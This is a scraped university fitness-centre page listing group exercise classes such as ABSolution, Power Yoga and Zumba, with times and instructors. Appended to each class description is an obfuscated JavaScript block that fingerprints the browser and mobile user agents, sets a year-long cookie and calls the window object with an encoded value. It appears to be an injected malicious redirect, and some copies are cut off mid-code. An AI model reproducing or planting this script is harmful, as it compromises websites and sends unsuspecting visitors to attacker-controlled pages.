Group Exercise Classes
The USI group exercise program includes TRADITIONAL & SPECIALIZED classes.
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8:00 am
ABSolution – Carrie
a 30 minute quick and effective abdominal workout full of innovative exercises designed to provide core stability and strength.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));
Find out more »8:30 am
Ultimate Definition – Carrie
This is an intense full body workout that will improve your muscular strength and endurance by utilizing free weights, body bars and other equipment.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));
Find out more »9:30 am
Power Yoga – Sheila
A dynamic and challenging Vinyasa class with a strong emphasis on core and upper body strength. Assistance will be offered during the Thursday 9:30am class.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var … Continue reading
Find out more »5:30 pm
Ultimate Definition/Circuit – Kathy
This is an intense full body workout that will improve your muscular strength and endurance by utilizing free weights, body bars and other equipment. Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return … Continue reading
Find out more »6:30 pm
Zumba – Jean
Join the party! A hi-low impact class with Latin Style. Learn Salsa, Samba, Merengue and more while getting a great workout!var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));
Find out more »It is encouraged to bring a water bottle, towel and heart monitors..